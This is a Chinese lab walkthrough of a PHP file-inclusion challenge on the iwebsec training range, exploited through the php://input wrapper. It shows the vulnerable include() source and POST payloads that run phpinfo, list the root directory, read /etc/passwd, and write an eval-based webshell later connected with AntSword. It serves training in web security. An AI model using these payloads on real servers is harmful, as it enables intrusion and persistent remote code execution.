iwebsec靶场 文件包含漏洞通关笔记8-php://input伪协议利用

发布于:2023-09-14 ⋅ 阅读:(164) ⋅ 点赞:(0)

目录

前言

1.php://input伪协议原理

2.php://input伪协议使用条件

第08关 php://input伪协议利用

1.打开靶场

2.源码分析

3.伪协议渗透获取php信息

(1)构造post信息

(2)渗透

4.伪协议获取目录信息

(1)构造post信息

(2)渗透

5.伪协议获取敏感文件信息

(1)构造post信息

(2)渗透

5.伪协议上传木马

(1)构造webshell

(2)连接木马

(3)蚁剑连接


前言

1.php://input伪协议原理

​php://input可以访问请求的原始数据的只读流,将post请求的数据当作php代码执行,如果存在文件包含漏洞,可将php://input作为文件名传入,同时在post中注入设置想要注入的代码,php执行时就会将post的内容作为php代码执行。


2.php://input伪协议使用条件

使用条件:
1.allow_url_fopen: on
2.allow_url_include:on

第08关 php://input伪协议利用

1.打开靶场

http://iwebsec.com:81/fi/08.php

 

2.源码分析

 如上所示源码中使用include函数来进行文件包含,并未对参数filename进行过滤,存在文件包含漏洞。根据关卡提示可以使用php://input伪协议进行渗透。

<?php

  require_once('../header.php');
  ?>
<html>
	<head>
		<title>php://input伪协议利用</title>
	</head>
	<h2>php://input伪协议利用</h2>
		<div class="alert alert-success">
			<p>/08.php?filename=php://input </p>
		</div>
	<body>
<?php
	if(isset($_GET['filename'])){
	
    $filename  = $_GET['filename'];
    include($filename);
	}else{
		exit();
	}
	
?>

3.伪协议渗透获取php信息

(1)构造post信息

<?php phpinfo();?>

(2)渗透

如下所示,通过传入参数<?php phpinfo();?>来获取版本信息

4.伪协议获取目录信息

(1)构造post信息

<?php system("ls /");?>

(2)渗透

如下所示,通过传入参数<?php system("ls /");?>来获取根目录下文件信息

5.伪协议获取敏感文件信息

(1)构造post信息

<?php system("cat /etc/passwd");?>

(2)渗透

如下所示,通过传入参数<?php system("ls /");?>来获取根目录下文件信息

5.伪协议上传木马

(1)构造webshell

构造向当前目录下写一个木马文件的脚本ljn_cmd8.php,如下所示:

<?php fputs (fopen("ljn_cmd8.php","w"),'<?php eval($_POST[cmd]);?>');?>

使用POST将上述参数传入

(2)连接木马

上传的脚本url地址为

http://iwebsec.com:81/fi/ljn_cmd8.php

 参数为cmd,来获取php的信息,即cmd=phpinfo(); 如下所示渗透成功

(3)蚁剑连接

url为http://iwebsec.com:81/fi/ljn_cmd8.php 参数为cmd

添加后信息如下

如下所示渗透成功